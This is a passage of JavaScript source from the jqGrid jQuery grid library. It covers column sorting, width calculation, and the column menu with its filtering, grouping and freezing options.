ts.p.frozenColumns ? obj : null, //sortrule = $.trim(ts.p.viewsortcols[1] === 'single' ? hidden : disabled); usehide = ts.p.viewsortcols[1] === 'single' ? true : false, tmpicon; tmpicon = $(previousSelectedTh).find("span.ui-grid-ico-sort"); tmpicon.addClass(disabled); if(usehide) { $(tmpicon).css("display","none"); } $(previousSelectedTh).attr({"aria-selected":"false","aria-sort" : "none"}); if(ts.p.frozenColumns) { tmpicon = ts.grid.fhDiv.find("span.ui-grid-ico-sort"); tmpicon.addClass(disabled); if(usehide) { tmpicon.css("display","none"); } ts.grid.fhDiv.find("th").attr({"aria-selected":"false","aria-sort" : "none"}); } tmpicon = $(newSelectedTh).find("span.ui-icon-"+ts.p.sortorder); tmpicon.removeClass(disabled); if(usehide) { tmpicon.css("display",""); } $(newSelectedTh).attr({"aria-selected":"true","aria-sort" : ts.p.sortorder + "ending"}); if(ts.p.frozenColumns) { tmpicon = $(newSelThFC).find("span.ui-icon-"+ts.p.sortorder); tmpicon.removeClass(disabled); if(usehide) { tmpicon.css("display",""); } $(newSelThFC).attr({"aria-selected":"true","aria-sort" : ts.p.sortorder + "ending"}); } if(!ts.p.viewsortcols[0]) { if(ts.p.lastsort !== idxcol) { if(ts.p.frozenColumns){ ts.grid.fhDiv.find("span.s-ico").hide(); } $("span.s-ico",previousSelectedTh).hide(); $("span.s-ico",newSelectedTh).show(); if(newSelThFC) { $("span.s-ico",newSelThFC).show(); } } else if (ts.p.sortname === "") { // if ts.p.lastsort === idxcol but ts.p.sortname === "" $("span.s-ico",newSelectedTh).show(); } } index = index.substring(5 + ts.p.id.length + 1); // bad to be changed!?! ts.p.sortname = ts.p.colModel[idxcol].index || index; } if ($(ts).triggerHandler("jqGridSortCol", [ts.p.sortname, idxcol, ts.p.sortorder]) === 'stop') { ts.p.lastsort = idxcol; return; } if($.jgrid.isFunction(ts.p.onSortCol)) { if (ts.p.onSortCol.call(ts, ts.p.sortname, idxcol, ts.p.sortorder)==='stop') { ts.p.lastsort = idxcol; return; } } setHeadCheckBox(false); if(ts.p.datatype === "local") { if(ts.p.deselectAfterSort && !ts.p.preserveSelection) { $(ts).jqGrid("resetSelection"); } } else { ts.p.selrow = null; if(ts.p.multiselect){ if(!ts.p.preserveSelection) { ts.p.selarrrow =[]; } } ts.p.savedRow =[]; } if(ts.p.scroll) { var sscroll = ts.grid.bDiv.scrollLeft; emptyRows.call(ts, true, false); ts.grid.hDiv.scrollLeft = sscroll; } if(ts.p.subGrid && ts.p.datatype === 'local') { $("td.sgexpanded","#"+$.jgrid.jqID(ts.p.id)).each(function(){ $(this).trigger("click"); }); } ts.p._sort = true; populate(); ts.p.lastsort = idxcol; if(ts.p.sortname !== index && idxcol) {ts.p.lastsort = idxcol;} }, setColWidth = function () { var initwidth = 0, brd=$.jgrid.cell_width? 0: intNum(ts.p.cellLayout,0), vc=0, lvc, scw=intNum(ts.p.scrollOffset,0),cw,hs=false,aw,gw=0,cr, chrome_fix, lvmc; $.each(ts.p.colModel, function() { if(this.hidden === undefined) {this.hidden=false;} if(ts.p.grouping && ts.p.autowidth) { var ind = $.inArray(this.name, ts.p.groupingView.groupField); if(ind >= 0 && ts.p.groupingView.groupColumnShow.length > ind) { this.hidden = !ts.p.groupingView.groupColumnShow[ind]; } } this.widthOrg = intNum(this.width,0); // if(this.maxWidth && intNum(this.width,0) > intNum(this.maxWidth,0) ) { this.width = this.maxWidth; } // cw = intNum(this.width,0); if(this.hidden===false){ initwidth += cw+brd; if(this.fixed) { gw += cw+brd; } else { vc++; } } }); if(isNaN(ts.p.width)) { ts.p.width = initwidth + ((ts.p.shrinkToFit ===false && !isNaN(ts.p.height)) ? scw : 0); } grid.width = parseInt(ts.p.width,10); ts.p.tblwidth = initwidth; if(ts.p.shrinkToFit ===false && ts.p.forceFit === true) {ts.p.forceFit=false;} if(ts.p.shrinkToFit===true && vc > 0) { aw = grid.width-brd*vc-gw; if(!isNaN(ts.p.height)) { aw -= scw; hs = true; } initwidth =0; var maxwidthcount = 0, diffmaxwidth = 0, notmax = [], notmaxwidth=0; $.each(ts.p.colModel, function(i) { if(this.hidden === false && !this.fixed){ cw = Math.round(aw*this.width/(ts.p.tblwidth-brd*vc-gw)); if(this.maxWidth && cw > this.maxWidth) { maxwidthcount++; diffmaxwidth += cw; this.width = this.maxWidth; lvmc = i; } else { this.width =cw; notmaxwidth += cw; notmax.push(i+""); } initwidth += this.width ; lvc = i; } }); cr = 0; chrome_fix = -1;/*bstw === 0 ? -1 :0;*/ initwidth += diffmaxwidth; var jj = -1; // maxWidth columns available if(maxwidthcount > 0 && vc > 0) { // do recalc var testsum = 0; for(var nmi=0;nmi<notmax.length; nmi++) { jj = parseInt(notmax[nmi],10); testsum += Math.round(ts.p.colModel[jj].width*diffmaxwidth/notmaxwidth); ts.p.colModel[jj].width = ts.p.colModel[jj].width + Math.round(ts.p.colModel[jj].width*diffmaxwidth/notmaxwidth); } // in case recalculated sum diffrent from the remeining sum if(testsum !== diffmaxwidth) { ts.p.colModel[jj].width += diffmaxwidth-testsum; } } if (hs) { if(grid.width-gw-(initwidth+brd*vc) !== scw){ cr = grid.width-gw-(initwidth+brd*vc)-scw; } } else if(!hs && Math.abs(grid.width-gw-(initwidth+brd*vc)) !== 0) { cr = grid.width-gw-(initwidth+brd*vc) - bstw; } if(jj >-1 && lvc === lvmc) { // in case last visible = last maxWidth column lvc = jj; // change it } ts.p.colModel[lvc].width += cr + chrome_fix; //} ts.p.tblwidth = initwidth+cr+brd*vc+gw; if(ts.p.tblwidth > ts.p.width) { ts.p.colModel[lvc].width -= (ts.p.tblwidth - parseInt(ts.p.width,10)); ts.p.tblwidth = ts.p.width; } } }, nextVisible= function(iCol) { var ret = iCol, j=iCol, i; for (i = iCol+1;i<ts.p.colModel.length;i++){ if(ts.p.colModel[i].hidden !== true ) { j=i; break; } } return j-ret; }, getOffset = function (iCol) { var $th = $(ts.grid.headers[iCol].el), ret = [$th.position().left + $th.outerWidth()]; if(ts.p.direction==="rtl") { ret[0] = ts.p.width - ret[0]; } ret[0] -= ts.grid.bDiv.scrollLeft; ret.push($(ts.grid.hDiv).position().top); ret.push($(ts.grid.bDiv).offset().top - $(ts.grid.hDiv).offset().top + $(ts.grid.bDiv).height()); return ret; }, getColumnHeaderIndex = function (th) { var i, headers = ts.grid.headers, ci = $.jgrid.getCellIndex(th); for (i = 0; i < headers.length; i++) { if (th === headers[i].el) { ci = i; break; } } return ci; }, buildColItems = function (top, left, parent, op) { var cm = ts.p.colModel, len = cm.length, i, cols=[], disp, all_visible = true, cols_nm=[], colNm = $.extend([], ts.p.colNames), iCol, common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, texts = $.jgrid.getRegional(ts, "colmenu"), colArr =[], str1 = '<ul id="col_menu" class="ui-search-menu ui-col-menu modal-content ' + common.shadow + '" role="menu" tabindex="0" style="left:'+left+'px;">'; if( op.columns_selectAll ) { str1 += '<li class="ui-menu-item disabled" role="presentation" draggable="false"><a class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table" ><tr><td class="menu_icon" title="'+texts.reorder+'"><span class="'+iconbase+' '+colmenustyle.icon_move+' notclick" style="visibility:hidden"></span></td><td class="menu_icon"><input id="chk_all" class="'+colmenustyle.input_checkbox+'" type="checkbox" name="check_all"></td><td class="menu_text">Check/Uncheck</td></tr></table></a></li>'; } if(ts.p.colSpanHeader.length) { // fo future work Currently does not work for(var cj = 0;cj<ts.p.colSpanHeader.length;cj++) { var clitem = ts.p.colSpanHeader[cj]; iCol = $.jgrid.getElemByAttrVal( cm, 'name', clitem.startColumnName, true); if(iCol >= 0) { colArr.push(iCol); colNm[iCol] = clitem.titleText; } } } if( $(ts).jqGrid('isGroupHeaderOn') /*&& opts.groupHeaders*/) { var gh_len = ts.p.groupHeader.length, // use the last set one groupH = ts.p.groupHeader[gh_len-1]; for(var ij=0;ij<colNm.length; ij++){ iCol = $.jgrid.inColumnHeader( cm[ij].name, groupH.groupHeaders); if(iCol>=0) { colNm[ij] = groupH.groupHeaders[iCol].titleText + "::" + colNm[ij]; for(var jj= 1; jj<= groupH.groupHeaders[iCol].numberOfColumns-1; jj++) { colNm[ij+jj] = groupH.groupHeaders[iCol].titleText + "::" + colNm[ij+jj]; } ij = ij+groupH.groupHeaders[iCol].numberOfColumns-1; } } } for(i=0;i<len;i++) { //if(!cm[i].hidedlg) { // column chooser var hid = !cm[i].hidden ? "checked" : "", nm = cm[i].name, lb = colNm[i]; //ts.p.colNames[i]; disp = (nm === 'cb' || nm==='subgrid' || nm==='rn' || nm==='sc' || cm[i].hidedlg) ? "style='display:none'" :""; str1 += '<li '+disp+' class="ui-menu-item" role="presentation" draggable="true"><a class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table" ><tr><td class="menu_icon" title="'+texts.reorder+'"><span class="'+iconbase+' '+colmenustyle.icon_move+' notclick"></span></td><td class="menu_icon"><input class="'+colmenustyle.input_checkbox+' chk_selected" type="checkbox" name="'+nm+'" '+hid+'></td><td class="menu_text">'+lb+'</td></tr></table></a></li>'; cols.push(i); if( disp === "") { cols_nm.push(nm); } if(all_visible && hid==="") { all_visible = false; } } str1 += "</ul>"; $(parent).append(str1); $("#col_menu").addClass("ui-menu " + colmenustyle.menu_widget); $("#chk_all", "#col_menu").prop("checked",all_visible); if(!$.jgrid.isElementInViewport($("#col_menu")[0])){ $("#col_menu").css("left", - parseInt($("#column_menu").innerWidth(),10) +"px"); } if($.fn.html5sortable()) { $("#col_menu").html5sortable({ handle: 'span', items: ':not(.disabled)', forcePlaceholderSize: true } ).on('sortupdate', function(e, ui) { cols.splice( ui.startindex,1); cols.splice(ui.endindex, 0, ui.startindex); $(ts).jqGrid("destroyFrozenColumns"); $(ts).jqGrid("remapColumns", cols, true); $(ts).triggerHandler("jqGridColMenuColumnDone", [cols, null, null]); if($.jgrid.isFunction(ts.p.colMenuColumnDone)) { ts.p.colMenuColumnDone.call( ts, cols, null, null); } $(ts).jqGrid("setFrozenColumns"); for(i=0;i<len;i++) { cols[i] = i; } if(1===2 /*colArr.length*/) { // setColSpanis on refresh. For future work $("#col_menu").remove(); setTimeout(function(){ buildColItems(top, left, parent, op); }, 0); } }); } // NO jQuery UI $("#col_menu > li > a").on("click", function(e) { var checked, col_name; if($(e.target).hasClass('notclick')) { return; } if($(e.target).is(":input")) { checked = $(e.target).is(":checked"); } else { checked = !$("input", this).is(":checked"); $("input", this).prop("checked",checked); } col_name = $("input", this).attr('name'); if(col_name === "check_all") { if(!checked) { $("input", "#col_menu" ).prop("checked",false); $(ts).jqGrid('hideCol', cols_nm); } else { $("input", "#col_menu" ).prop("checked",true); $(ts).jqGrid('showCol', cols_nm); } } else { $(ts).triggerHandler("jqGridColMenuColumnDone", [cols, col_name, checked]); if($.jgrid.isFunction(ts.p.colMenuColumnDone)) { ts.p.colMenuColumnDone.call( ts, cols, col_name, checked); } if(!checked) { $(ts).jqGrid('hideCol', col_name); $(this).parent().attr("draggable","false"); } else { $(ts).jqGrid('showCol', col_name ); $(this).parent().attr("draggable","true"); } if(op.columns_selectAll) { $("#chk_all", "#col_menu").prop("checked", $('.chk_selected:checked', "#col_menu").length === $('.chk_selected', "#col_menu").length ); } $("#column_menu").remove(); } }).hover(function(){ $(this).addClass(hover); },function(){ $(this).removeClass(hover); }); }, buildSearchBox = function (index, top, left, parent) { var cm = ts.p.colModel[index], rules, o1='',v1='',r1='',o2='',v2='', so, op, repstr='',selected, elem, numopts = ['eq','ne', 'lt', 'le', 'gt', 'ge', 'nu', 'nn', 'in', 'ni'], stropts = ['eq', 'ne', 'bw', 'bn', 'ew', 'en', 'cn', 'nc', 'nu', 'nn', 'in', 'ni'], strarr = ['text', 'string', 'blob'], texts = $.jgrid.getRegional(ts, "search"), common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, classes = $.jgrid.styleUI[(p.styleUI || 'jQueryUI')].modal; if(!cm ) { return; } rules = ts.p.colFilters && ts.p.colFilters[cm.name] ? ts.p.colFilters[cm.name] : false; if(rules && !$.isEmptyObject( rules )) { o1 = rules.oper1; v1 = rules.value1; r1 = rules.rule; o2 = rules.oper2; v2 = rules.value2; } if(! cm.searchoptions ) { cm.searchoptions = {}; } if(cm.searchoptions.sopt) { so = cm.searchoptions.sopt; } else if( $.inArray(cm.sorttype, strarr) !== -1 ) { so = stropts; } else { so = numopts; } if(cm.searchoptions.groupOps) { op = cm.searchoptions.groupOps; } else { op = texts.groupOps; } //elem = $('<ul id="search_menu" class="ui-search-menu modal-content" role="menu" tabindex="0" style="left:'+left+'px;top:'+top+'px;"></ul>'); elem = $('<form></form>'); var str1 = "<a id='bs_close' aria-label='Close'><span class='" + iconbase + " " + classes.icon_close + "'></span></a>"; str1 += '<div>'+$.jgrid.getRegional(ts, "colmenu.searchTitle")+'</div>'; str1 += '<div><select size="1" id="oper1" class="'+colmenustyle.filter_select+'">'; $.each(texts.odata, function(i, n) { selected = n.oper === o1 ? 'selected="selected"' : ''; if($.inArray(n.oper, so) !== -1) { repstr += '<option value="'+n.oper+'" aria-label="'+n.text+'" '+selected+'>'+n.text+'</option>'; } }); str1 += repstr; str1 += '</select></div>'; elem.append(str1); var df=""; if(cm.searchoptions.defaultValue ) { df = $.jgrid.isFunction(cm.searchoptions.defaultValue) ? cm.searchoptions.defaultValue.call(ts) : cm.searchoptions.defaultValue; } //overwrite default value if restore from filters if( v1 ) { df = v1; } var soptions = $.extend(cm.searchoptions, {name:cm.index || cm.name, id: "sval1_" + ts.p.idPrefix+cm.name, oper:'search'}), input = $.jgrid.createEl.call(ts, cm.stype, soptions , df, false, $.extend({},$.jgrid.ajaxOptions, ts.p.ajaxSelectOptions || {})); $(input).addClass( colmenustyle.filter_input ); str1 = $('<div></div>').append(input); elem.append(str1); // and/or str1 ='<div><select size="1" id="operand" class="'+colmenustyle.filter_select+'">'; $.each(op, function(i, n){ selected = n.op === r1 ? 'selected="selected"' : ''; str1 += "<option value='"+n.op+"' "+selected+">"+n.text+"</option>"; }); str1 += '</select></div>'; elem.append(str1); //oper2 repstr =''; $.each(texts.odata, function(i, n) { selected = n.oper === o2 ? 'selected="selected"' : ''; if($.inArray(n.oper, so) !== -1) { repstr += '<option value="'+n.oper+'" '+selected+'>'+n.text+'</option>'; } }); str1 = '<div><select size="1" id="oper2" class="'+colmenustyle.filter_select+'">' + repstr +'</select></div>'; elem.append(str1); // value2 if( v2 ) { df = v2; } else { df = ""; } soptions = $.extend(cm.searchoptions, {name:cm.index || cm.name, id: "sval2_" + ts.p.idPrefix+cm.name, oper:'search'}); input = $.jgrid.createEl.call(ts, cm.stype, soptions , df, false, $.extend({},$.jgrid.ajaxOptions, ts.p.ajaxSelectOptions || {})); $(input).addClass( colmenustyle.filter_input ); str1 = $('<div></div>').append(input); elem.append(str1); // buttons str1 = "<div>"; str1 +="<div class='search_buttons'><a tabindex='0' id='bs_reset' class='fm-button " + common.button +" ui-reset'>"+texts.Reset+"</a></div>"; str1 +="<div class='search_buttons'><a tabindex='0' id='bs_search' class='fm-button " + common.button + " ui-search'>"+texts.Find+"</a></div>"; str1 += "</div>"; elem.append(str1); elem = $('<li class="ui-menu-item" role="presentation"></li>').append( elem ); elem = $('<ul id="search_menu" class="ui-search-menu modal-content ' + common.shadow + '" role="menu" tabindex="0" style="left:'+left+'px;"></ul>').append(elem); $(parent).append(elem); $("#search_menu").addClass("ui-menu " + colmenustyle.menu_widget); if(!$.jgrid.isElementInViewport($("#search_menu")[0])){ $("#search_menu").css("left", -parseInt($("#column_menu").innerWidth(),10) +"px"); } $("#bs_reset, #bs_search", "#search_menu", "#bs_close").hover(function(){ $(this).addClass(hover); },function(){ $(this).removeClass(hover); }); $("#bs_reset", elem).on('click', function(e){ ts.p.colFilters[cm.name] = {}; if(ts.p.mergeSearch === true && ts.p.searchModules.hasOwnProperty('colMenuSearch') && ts.p.searchModules.colMenuSearch !== false ) { ts.p.searchModules.colMenuSearch = buildFilters(); $.extend(ts.p.postData,{filters: $.jgrid.splitSearch(ts.p.searchModules)}); ts.p.search = true; } else { ts.p.postData.filters = buildFilters(); ts.p.search = false; ts.p.resetsearch = true; } df = ""; if(cm.searchoptions.defaultValue ) { df = $.jgrid.isFunction(cm.searchoptions.defaultValue) ? cm.searchoptions.defaultValue.call(ts) : cm.searchoptions.defaultValue; } $("#sval1_" + ts.p.idPrefix+cm.name,"#search_menu").val(df); $("#sval2_" + ts.p.idPrefix+cm.name,"#search_menu").val(""); if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'filtering', action : 'reset', column : cm.name}); } $(ts).trigger("reloadGrid"); //$("#column_menu").remove(); }); $("#bs_search", elem).on('click', function(e){ ts.p.colFilters[cm.name] = { oper1: $("#oper1","#search_menu").val(), value1: $("#sval1_" + ts.p.idPrefix+cm.name,"#search_menu").val(), rule: $("#operand","#search_menu").val(), oper2 : $("#oper2","#search_menu").val(), value2 : $("#sval2_" + ts.p.idPrefix+cm.name,"#search_menu").val() }; if(ts.p.mergeSearch === true && ts.p.searchModules.hasOwnProperty('colMenuSearch') && ts.p.searchModules.colMenuSearch !== false ) { ts.p.searchModules.colMenuSearch = buildFilters(); $.extend(ts.p.postData,{filters: $.jgrid.splitSearch(ts.p.searchModules)}); } else { ts.p.postData.filters = buildFilters(); } ts.p.search = true; if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'filtering', action : 'search', column : cm.name}); } $(ts).trigger("reloadGrid"); $("#column_menu").remove(); }); $("#bs_close", elem).on('click', function(){ $("#column_menu").remove(); }); }, buildFilters = function() { var go = "AND", filters ="", i=0; //{\"groupOp\":\"" + go + "\",\"rules\":[], \"groups\" : [ for (var item in ts.p.colFilters) { if(ts.p.colFilters.hasOwnProperty(item)) { var si = ts.p.colFilters[item]; if(!$.isEmptyObject(si)) { if(si.value1==="" && si.value2==="") { break; } if(i>0) { filters += ","; } filters += "{\"groupOp\":\""+si.rule +"\",\"rules\":["; filters += "{\"field\":\"" + item + "\","; filters += "\"op\":\"" + si.oper1 + "\","; si.value1 +=""; filters += "\"data\":\"" + si.value1.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; if(si.value2) { filters += ",{\"field\":\"" + item + "\","; filters += "\"op\":\"" + si.oper2 + "\","; si.value2 +=""; filters += "\"data\":\"" + si.value2.replace(/\\/g,'\\\\').replace(/\"/g,'\\"') + "\"}"; } filters += "]"; i++; } else { //console.log('empty object'); } } } filters += "}"; if( i === 0) { filters = ""; } return filters; }, buildGrouping = function( index, isgroup ) { var cm = ts.p.colModel[index], group = ts.p.groupingView; if(isgroup !== -1) { group.groupField.splice(isgroup,1); } else { group.groupField.push( cm.name); } if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'grouping', action : (isgroup !== -1? 'ungroup' : 'group'), column : cm.name}); } $(ts).jqGrid('groupingGroupBy', group.groupField ); if(ts.p.frozenColumns) { $(ts).jqGrid("destroyFrozenColumns"); $(ts).jqGrid("setFrozenColumns"); } }, buildFreeze = function( index, isfreeze ) { var cols = [], i, len = ts.p.colModel.length, lastfrozen = -1, cm = ts.p.colModel; for(i=0; i < len; i++) { if(cm[i].frozen) { lastfrozen = i; } cols.push(i); } // from position index to lastfrozen+1 cols.splice( index, 1); cols.splice(lastfrozen + (isfreeze ? 1 : 0), 0, index); cm[index].frozen = isfreeze; if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'freeze', action : isfreeze ? 'freeze' : 'unfreeze', column : cm[index].name}); } $(ts).jqGrid("destroyFrozenColumns"); $(ts).jqGrid("remapColumns", cols, true); $(ts).jqGrid("setFrozenColumns"); }, buildSubmenuItems = function (top, left, parent, id, cname) { var cm = ts.p.colModel, i, common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, styles = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].colmenu, items = ts.p.colMenuCustom[id].items, str1 = '<ul id="col_menu" class="ui-search-menu ui-col-menu modal-content ' + common.shadow + '" role="menu" tabindex="0" style="left:'+left+'px;">'; items.forEach((item)=>{ if(!item.icon) { item.icon = styles.icon_new_item; } if(item.id =="separator") { str1 += '<li class="ui-menu-item divider" role="separator"></li>'; } else { str1 += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="' + item.id + '"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+item.icon+'"></span></td><td class="menu_text">'+item.title+'</td></tr></table></a></li>'; } }); str1 += "</ul>"; $(parent).append(str1); $("#col_menu").addClass("ui-menu " + colmenustyle.menu_widget); if(!$.jgrid.isElementInViewport($("#col_menu")[0])){ $("#col_menu").css("left", - parseInt($("#column_menu").innerWidth(),10) +"px"); } $("#col_menu > li > a").on("click", function(e) { var v = $(this).attr("data-value"); //sobj = ts.grid.headers[index].el; var itm = items.find( (exec) => exec.id===v); if(itm) { if($.jgrid.isFunction(itm.funcname)) { itm.funcname.call(ts, cname); if(itm.closeOnRun) { $(this).remove(); } } } }).hover(function(){ $(this).addClass(hover); },function(){ $(this).removeClass(hover); }); }, buildColMenu = function( index, left, top ){ var menu_offset = $(grid.hDiv).height(); if($(".ui-search-toolbar",grid.hDiv)[0] && !isNaN($(".ui-search-toolbar",grid.hDiv).height())) { menu_offset -= $(".ui-search-toolbar",grid.hDiv).height(); } if( !$(grid.cDiv).is(":hidden") ){ menu_offset += $(grid.cDiv).outerHeight(); } if(ts.p.toolbar[1] && ts.p.toolbar[2] !== "bottom" && !$.jgrid.isNull( $(grid.uDiv), true) ) { menu_offset += $(grid.uDiv).outerHeight(); } if( ts.p.toppager) { menu_offset += $("#"+ $.jgrid.jqID(ts.p.id) +"_toppager").outerHeight(); } //$("#sopt_menu").remove(); left = parseInt(left,10); top = menu_offset; /* + parseInt(top,10)*/ var strb = '<ul id="column_menu" role="menu" tabindex="0">', str = '', stre = "</ul>", strl ='', cm = ts.p.colModel[index], op = $.extend({sorting:true, columns: true, filtering: true, seraching:true, grouping:true, freeze : true}, cm.coloptions), common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, texts = $.jgrid.getRegional(ts, "colmenu"), label = ts.p.colNames[index], isgroup, isfreeze, menuData = [], cname = $.jgrid.trim(cm.name); // ??? // sorting menuData.push( str ); if(cm.sortable && op.sorting) { str = '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="sortasc"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_sort_asc+'"></span></td><td class="menu_text">'+texts.sortasc+'</td></tr></table></a></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="sortdesc"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_sort_desc+'"></span></td><td class="menu_text">'+texts.sortdesc+'</td></tr></table></a></li>'; menuData.push( str ); } if(op.columns) { str = '<li class="ui-menu-item divider" role="separator"></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="columns"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_columns+'"></span></td><td class="menu_text">'+texts.columns+'</td></tr></table></a></li>'; menuData.push( str ); } if(op.filtering) { str = '<li class="ui-menu-item divider" role="separator"></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="filtering"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_filter+'"></span></td><td class="menu_text">'+texts.filter + ' ' + label +'</td></tr></table></a></li>'; menuData.push( str ); } if(op.grouping) { isgroup = $.inArray(cm.name, ts.p.groupingView.groupField); str = '<li class="ui-menu-item divider" role="separator"></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="grouping"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_group+'"></span></td><td class="menu_text">'+(isgroup !== -1 ? texts.ungrouping: texts.grouping + ' ' + label)+'</td></tr></table></a></li>'; menuData.push( str ); } if(op.freeze) { if( !(ts.p.subGrid || ts.p.treeGrid || ts.p.cellEdit) ) { isfreeze = (cm.frozen && ts.p.frozenColumns) ? false : true; str = '<li class="ui-menu-item divider" role="separator"></li>'; str += '<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="freeze"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+colmenustyle.icon_freeze+'"></span></td><td class="menu_text">'+(isfreeze ? (texts.freeze + " "+ label) : texts.unfreeze)+'</td></tr></table></a></li>'; menuData.push( str ); } } for( var key in ts.p.colMenuCustom) { if(ts.p.colMenuCustom.hasOwnProperty(key)) { var menuitem = ts.p.colMenuCustom[key]; if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'custom', action: menuitem , column : menuitem.colname}); } $(ts).triggerHandler("jqGridcolMenuBeforeProcess", [{ module: 'custom', action: menuitem , column : menuitem.colname}]); var exclude = menuitem.exclude.split(","); exclude = $.map(exclude, function(item){ return $.jgrid.trim(item);}); if( menuitem.colname === cname || (menuitem.colname === '_all_' && $.inArray(cname, exclude) === -1)) { var subid = menuitem.items.length ? "submenu": menuitem.id; strl = '<li class="ui-menu-item divider" role="separator"></li>'; str = '<li class="ui-menu-item" role="presentation"><a id="'+menuitem.id+'" class="g-menu-item" tabindex="0" role="menuitem" data-value="' + subid + '"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+iconbase+' '+menuitem.icon+'"></span></td><td class="menu_text">'+menuitem.title+'</td></tr></table></a></li>'; if(menuitem.position === 'last') { if(menuitem.separator) { menuData.push( strl ); } menuData.push( str ); } else if( menuitem.position === 'first') { if(menuitem.separator) { menuData.unshift( strl ); } menuData.unshift( str ); } } } } menuData.unshift( strb ); menuData.push( stre ); //str += "</ul>"; $('#gbox_'+ts.p.id).append( menuData.join('') ); $("#column_menu") .addClass("ui-search-menu modal-content column-menu jqgrid-column-menu ui-menu "+ common.shadow+ " " + colmenustyle.menu_widget) .css({"left":left,"top":top}); if(ts.p.direction === "ltr") { var wcm = $("#column_menu").width() + 26; $("#column_menu").css("left", (left- wcm)+'px'); } $("#column_menu > li > a").hover( function(){ $("#col_menu").remove(); $("#search_menu").remove(); var left1, top1; if($(this).attr("data-value") === 'columns') { left1 = $(this).parent().width()+8; top1 = $(this).parent().position().top - 5; buildColItems(top1, left1, $(this).parent(), op); } if($(this).attr("data-value") === 'filtering') { left1 = $(this).parent().width()+8; top1 = $(this).parent().position().top - 5; buildSearchBox(index, top1, left1, $(this).parent()); } if($(this).attr("data-value") === 'submenu') { left1 = $(this).parent().width()+8; top1 = $(this).parent().position().top - 5; buildSubmenuItems(top1, left1, $(this).parent(), $(this).attr("id"), cname); } $(this).addClass(hover); }, function(){ $(this).removeClass(hover); } ).click(function(){ var v = $(this).attr("data-value"), sobj = ts.grid.headers[index].el; if(v === 'sortasc' || v === 'sortdesc') { if( $.jgrid.isFunction( ts.p.colMenuBeforeProcess )) { ts.p.colMenuBeforeProcess.call(ts, { module: 'sorting', action: v === 'sortasc' ? 'asc' : 'desc' , column : cm.name}); } sortData( "jqgh_"+ts.p.id+"_" + cm.name, index, true, (v === 'sortasc' ? 'asc' : 'desc'), sobj); } else if (v === 'grouping') { buildGrouping(index, isgroup); } else if( v==='freeze') { buildFreeze( index, isfreeze); } if(v === 'grouping' || v==='freeze') { $(this).remove(); } if(ts.p.colMenuCustom.hasOwnProperty(v)) { var exec = ts.p.colMenuCustom[v]; if($.jgrid.isFunction(exec.funcname)) { exec.funcname.call(ts, cname); if(exec.closeOnRun) { $(this).remove(); } } } }); if( parseFloat($("#column_menu").css("left")) < 0 ) { $("#column_menu").css("left", $(ts).css("left") ); } }, colTemplate; if(ts.p.colMenu || ts.p.menubar) { $("body").on('click', function(e){ if(!$(e.target).closest("#column_menu").length) { try { $("#column_menu").remove(); } catch (e1) {} } if(!$(e.target).closest(".ui-jqgrid-menubar").length) { try { $("#"+ts.p.id+"_menubar").hide(); } catch (e1) {} } }); } this.p.id = this.id; if(ts.p.autowidth===true) { var pw = $(eg).parent().width(); tmpcm = $(window).width(); ts.p.width = tmpcm - pw > 3 ? pw: tmpcm-1; } if ($.inArray(ts.p.multikey,sortkeys) === -1 ) {ts.p.multikey = false;} ts.p.keyName=false; for (i=0; i<ts.p.colModel.length;i++) { colTemplate = typeof ts.p.colModel[i].template === "string" ? ( !$.jgrid.isNull($.jgrid.cmTemplate) && typeof $.jgrid.cmTemplate[ts.p.colModel[i].template] === "object" ? $.jgrid.cmTemplate[ts.p.colModel[i].template]: {}) : ts.p.colModel[i].template; ts.p.colModel[i] = $.extend(true, {}, ts.p.cmTemplate, colTemplate || {}, ts.p.colModel[i]); if (ts.p.keyName === false && ts.p.colModel[i].key===true) { ts.p.keyName = ts.p.colModel[i].name; ts.p.keyIndex = i; } } ts.p.sortorder = ts.p.sortorder.toLowerCase(); $.jgrid.cell_width = $.jgrid.cellWidth(); // calculate cellLayout var bstw2 = $("<table style='visibility:hidden'><tr class='jqgrow'><td>1</td></tr></table)").addClass(getstyle(stylemodule,"rowTable", true, 'ui-jqgrid-btable ui-common-table')); $(eg).append(bstw2); ts.p.cellLayout = $.jgrid.floatNum( $("td", 